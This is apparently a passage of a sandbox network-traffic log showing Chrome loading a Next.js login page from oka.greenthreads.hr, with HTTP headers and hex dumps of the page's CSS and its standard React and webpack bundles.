2025-04-15 18:06:32 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 71 47 36 71 67 53 6e 6b 6c 70 63 62 52 62 39 42 4d 57 53 49 64 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"qG6qgSnklpcbRb9BMWSId","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49733	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:32 UTC	581	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:32 UTC	593	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14635 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:32 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Tue, 15 Apr 2025 14:02:37 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::jhj7d-1744740392817-5584f4e518d4 Connection: close
2025-04-15 18:06:32 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49732	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:32 UTC	577	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:32 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14635 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:32 GMT Etag: "4ec973b472aa3a5790be5441ccdefac6" Last-Modified: Tue, 15 Apr 2025 14:02:37 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::ljzhr-1744740392802-95a120b67769 Connection: close
2025-04-15 18:06:32 UTC	1999	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49735	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:32 UTC	579	OUT	GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:32 UTC	630	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14635 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="framework-2c79e2a64abdb08b.js" Content-Length: 141052 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:32 GMT Etag: "7fc4bed6b4319c62343f0bf5db91a5bb" Last-Modified: Tue, 15 Apr 2025 14:02:37 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/framework-2c79e2a64abdb08b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::sxxxh-1744740392783-0a7f0f872453 Connection: close
2025-04-15 18:06:32 UTC	2372	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 37 34 5d 2c 7b 34 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c Data Ascii: "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT l
2025-04-15 18:06:32 UTC	925	IN	Data Raw: 69 74 65 6d 53 63 6f 70 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 30 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 Data Ascii: itemScope".split(" ").forEach(function(e){S[e]=new w(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){S[e]=new w(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){S[e]=new w(e,4,!1,e,null,!
2025-04-15 18:06:32 UTC	4744	IN	Data Raw: 6e 2c 74 2c 72 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 73 77 69 74 63 68 28 74 2e 74 79 70 65 29 7b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 6e 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 21 31 3d 3d 3d 6e 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 61 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 61 3f 28 6c 3d 6e 2c 28 21 21 76 2e 63 61 6c 6c 28 6b 2c 6c 29 7c 7c 21 76 2e 63 61 6c 6c 28 62 2c 6c 29 26 26 28 79 2e 74 65 73 74 28 6c 29 3f 6b 5b 6c 5d 3d 21 30 3a 28 62 5b 6c 5d 3d 21 30 2c 21 31 29 29 29 26 26 Data Ascii: n,t,r))return!0;if(r)return!1;if(null!==t)switch(t.type){case 3:return!n;case 4:return!1===n;case 5:return isNaN(n);case 6:return isNaN(n)\|\|1>n}return!1}(n,t,a,r)&&(t=null),r\|\|null===a?(l=n,(!!v.call(k,l)\|\|!v.call(b,l)&&(y.test(l)?k[l]=!0:(b[l]=!0,!1)))&&
2025-04-15 18:06:32 UTC	5930	IN	Data Raw: 65 29 7b 72 3d 22 22 2b 65 2c 61 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 74 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 2c 7b 67 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 73 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 3d 22 22 2b 65 7d 2c 73 74 6f 70 54 72 61 63 6b 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 72 3d 6e 75 6c 6c 2c 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 7d 7d 7d 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 3d 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 Data Ascii: e){r=""+e,a.call(this,e)}}),Object.defineProperty(e,n,{enumerable:t.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[n]}}}}(e))}function X(e){if(!e)return!1;var n=e._valueTracke
2025-04-15 18:06:32 UTC	7116	IN	Data Raw: 4e 6f 64 65 3a 65 7d 76 61 72 20 65 5f 3d 6e 75 6c 6c 2c 65 43 3d 6e 75 6c 6c 2c 65 50 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 65 4e 28 65 29 7b 69 66 28 65 3d 72 44 28 65 29 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 5f 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 32 38 30 29 29 3b 76 61 72 20 6e 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 6e 26 26 28 6e 3d 72 55 28 6e 29 2c 65 5f 28 65 2e 73 74 61 74 65 4e 6f 64 65 2c 65 2e 74 79 70 65 2c 6e 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 7a 28 65 29 7b 65 43 3f 65 50 3f 65 50 2e 70 75 73 68 28 65 29 3a 65 50 3d 5b 65 5d 3a 65 43 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 65 54 28 29 7b 69 66 28 65 43 29 7b 76 61 72 20 65 3d 65 43 2c 6e 3d 65 50 3b 69 66 28 65 50 3d 65 43 3d 6e 75 6c Data Ascii: Node:e}var e_=null,eC=null,eP=null;function eN(e){if(e=rD(e)){if("function"!=typeof e_)throw Error(f(280));var n=e.stateNode;n&&(n=rU(n),e_(e.stateNode,e.type,n))}}function ez(e){eC?eP?eP.push(e):eP=[e]:eC=e}function eT(){if(eC){var e=eC,n=eP;if(eP=eC=nul
2025-04-15 18:06:32 UTC	8302	IN	Data Raw: 74 2c 72 29 7d 66 69 6e 61 6c 6c 79 7b 6e 63 3d 6c 2c 6e 46 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 55 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 6e 4f 29 7b 76 61 72 20 6c 3d 6e 24 28 65 2c 6e 2c 74 2c 72 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6c 29 72 6f 28 65 2c 6e 2c 72 2c 6e 56 2c 74 29 2c 6e 43 28 65 2c 72 29 3b 65 6c 73 65 20 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 2c 6c 29 7b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 66 6f 63 75 73 69 6e 22 3a 72 65 74 75 72 6e 20 6e 62 3d 6e 50 28 6e 62 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 64 72 61 67 65 6e 74 65 72 22 3a 72 65 74 75 72 6e 20 6e 6b 3d 6e 50 28 6e 6b 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 6d 6f 75 73 65 6f Data Ascii: t,r)}finally{nc=l,nF.transition=a}}function nU(e,n,t,r){if(nO){var l=n$(e,n,t,r);if(null===l)ro(e,n,r,nV,t),nC(e,r);else if(function(e,n,t,r,l){switch(n){case"focusin":return nb=nP(nb,e,n,t,r,l),!0;case"dragenter":return nk=nP(nk,e,n,t,r,l),!0;case"mouseo
2025-04-15 18:06:32 UTC	6676	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6c 3d 74 5b 72 5d 3b 69 66 28 21 76 2e 63 61 6c 6c 28 6e 2c 6c 29 7c 7c 21 74 44 28 65 5b 6c 5d 2c 6e 5b 6c 5d 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 74 55 28 65 29 7b 66 6f 72 28 3b 65 26 26 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 56 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 74 55 28 65 29 3b 66 6f 72 28 65 3d 30 3b 72 3b 29 7b 69 66 28 33 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 74 3d 65 2b 72 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 6c 65 6e 67 74 68 2c 65 3c 3d 6e 26 26 74 3e 3d 6e 29 72 65 74 75 72 6e 7b Data Ascii: ;for(r=0;r<t.length;r++){var l=t[r];if(!v.call(n,l)\|\|!tD(e[l],n[l]))return!1}return!0}function tU(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function tV(e,n){var t,r=tU(e);for(e=0;r;){if(3===r.nodeType){if(t=e+r.textContent.length,e<=n&&t>=n)return{
2025-04-15 18:06:32 UTC	10674	IN	Data Raw: 63 61 73 65 22 64 72 6f 70 22 3a 69 3d 6e 38 3b 62 72 65 61 6b 3b 63 61 73 65 22 74 6f 75 63 68 63 61 6e 63 65 6c 22 3a 63 61 73 65 22 74 6f 75 63 68 65 6e 64 22 3a 63 61 73 65 22 74 6f 75 63 68 6d 6f 76 65 22 3a 63 61 73 65 22 74 6f 75 63 68 73 74 61 72 74 22 3a 69 3d 74 6f 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 4a 3a 63 61 73 65 20 74 30 3a 63 61 73 65 20 74 31 3a 69 3d 6e 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 32 3a 69 3d 74 69 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 63 72 6f 6c 6c 22 3a 69 3d 6e 32 3b 62 72 65 61 6b 3b 63 61 73 65 22 77 68 65 65 6c 22 3a 69 3d 74 73 3b 62 72 65 61 6b 3b 63 61 73 65 22 63 6f 70 79 22 3a 63 61 73 65 22 63 75 74 22 3a 63 61 73 65 22 70 61 73 74 65 22 3a 69 3d 6e 39 3b 62 72 65 61 6b 3b 63 61 73 65 22 67 6f 74 70 6f 69 Data Ascii: case"drop":i=n8;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":i=to;break;case tJ:case t0:case t1:i=n6;break;case t2:i=ti;break;case"scroll":i=n2;break;case"wheel":i=ts;break;case"copy":case"cut":case"paste":i=n9;break;case"gotpoi
2025-04-15 18:06:32 UTC	11860	IN	Data Raw: 7b 69 66 28 6c 6d 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 34 31 38 29 29 3b 65 2e 66 6c 61 67 73 3d 2d 34 30 39 37 26 65 2e 66 6c 61 67 73 7c 32 2c 6c 63 3d 21 31 2c 6c 69 3d 65 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 67 28 65 29 7b 66 6f 72 28 65 3d 65 2e 72 65 74 75 72 6e 3b 6e 75 6c 6c 21 3d 3d 65 26 26 35 21 3d 3d 65 2e 74 61 67 26 26 33 21 3d 3d 65 2e 74 61 67 26 26 31 33 21 3d 3d 65 2e 74 61 67 3b 29 65 3d 65 2e 72 65 74 75 72 6e 3b 6c 69 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6c 76 28 65 29 7b 69 66 28 65 21 3d 3d 6c 69 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 6c 63 29 72 65 74 75 72 6e 20 6c 67 28 65 29 2c 6c 63 3d 21 30 2c 21 31 3b 69 66 28 28 6e 3d 33 21 3d 3d 65 2e 74 61 67 29 26 26 21 28 6e 3d 35 21 3d 3d 65 2e 74 61 67 29 26 26 28 Data Ascii: {if(lm(e))throw Error(f(418));e.flags=-4097&e.flags\|2,lc=!1,li=e}}}function lg(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;li=e}function lv(e){if(e!==li)return!1;if(!lc)return lg(e),lc=!0,!1;if((n=3!==e.tag)&&!(n=5!==e.tag)&&(
2025-04-15 18:06:32 UTC	10234	IN	Data Raw: 2b 2b 29 6e 75 6c 6c 21 3d 3d 28 67 3d 6d 28 66 2c 6c 2c 68 2c 6f 5b 68 5d 2c 69 29 29 26 26 28 65 26 26 6e 75 6c 6c 21 3d 3d 67 2e 61 6c 74 65 72 6e 61 74 65 26 26 66 2e 64 65 6c 65 74 65 28 6e 75 6c 6c 3d 3d 3d 67 2e 6b 65 79 3f 68 3a 67 2e 6b 65 79 29 2c 75 3d 61 28 67 2c 75 2c 68 29 2c 6e 75 6c 6c 3d 3d 3d 63 3f 73 3d 67 3a 63 2e 73 69 62 6c 69 6e 67 3d 67 2c 63 3d 67 29 3b 72 65 74 75 72 6e 20 65 26 26 66 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 6c 2c 65 29 7d 29 2c 6c 63 26 26 6c 6c 28 6c 2c 68 29 2c 73 7d 28 69 2c 73 2c 63 2c 68 29 3b 69 66 28 41 28 63 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6c 2c 75 2c 6f 2c 69 29 7b 76 61 72 20 73 3d 41 28 6f 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e Data Ascii: ++)null!==(g=m(f,l,h,o[h],i))&&(e&&null!==g.alternate&&f.delete(null===g.key?h:g.key),u=a(g,u,h),null===c?s=g:c.sibling=g,c=g);return e&&f.forEach(function(e){return n(l,e)}),lc&&ll(l,h),s}(i,s,c,h);if(A(c))return function(l,u,o,i){var s=A(o);if("function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49736	76.76.21.21	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:32 UTC	574	OUT	GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:32 UTC	619	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14635 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="main-de1ad41d606513c1.js" Content-Length: 93582 Content-Type: application/javascript; charset=utf-8 Date: Tue, 15 Apr 2025 18:06:32 GMT Etag: "da989c36392e2601ea958221ae086c80" Last-Modified: Tue, 15 Apr 2025 14:02:37 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/main-de1ad41d606513c1.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::5qwv6-1744740392783-41bfbd27d98e Connection: close
2025-04-15 18:06:32 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 39 5d 2c 7b 33 37 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 22 74 72 69 6d 53 74 61 72 74 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 53 74 61 72 74 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 4c 65 66 74 29 2c 22 74 72 69 6d 45 6e 64 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 45 6e 64 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 52 69 67 68 74 29 2c 22 64 65 73 63 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"descri
2025-04-15 18:06:32 UTC	936	IN	Data Raw: 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 32 31 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 68 61 73 42 61 73 65 50 61 74 68 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 Data Ascii: _esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},2140:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"hasBasePath",{enumerable:!0,g
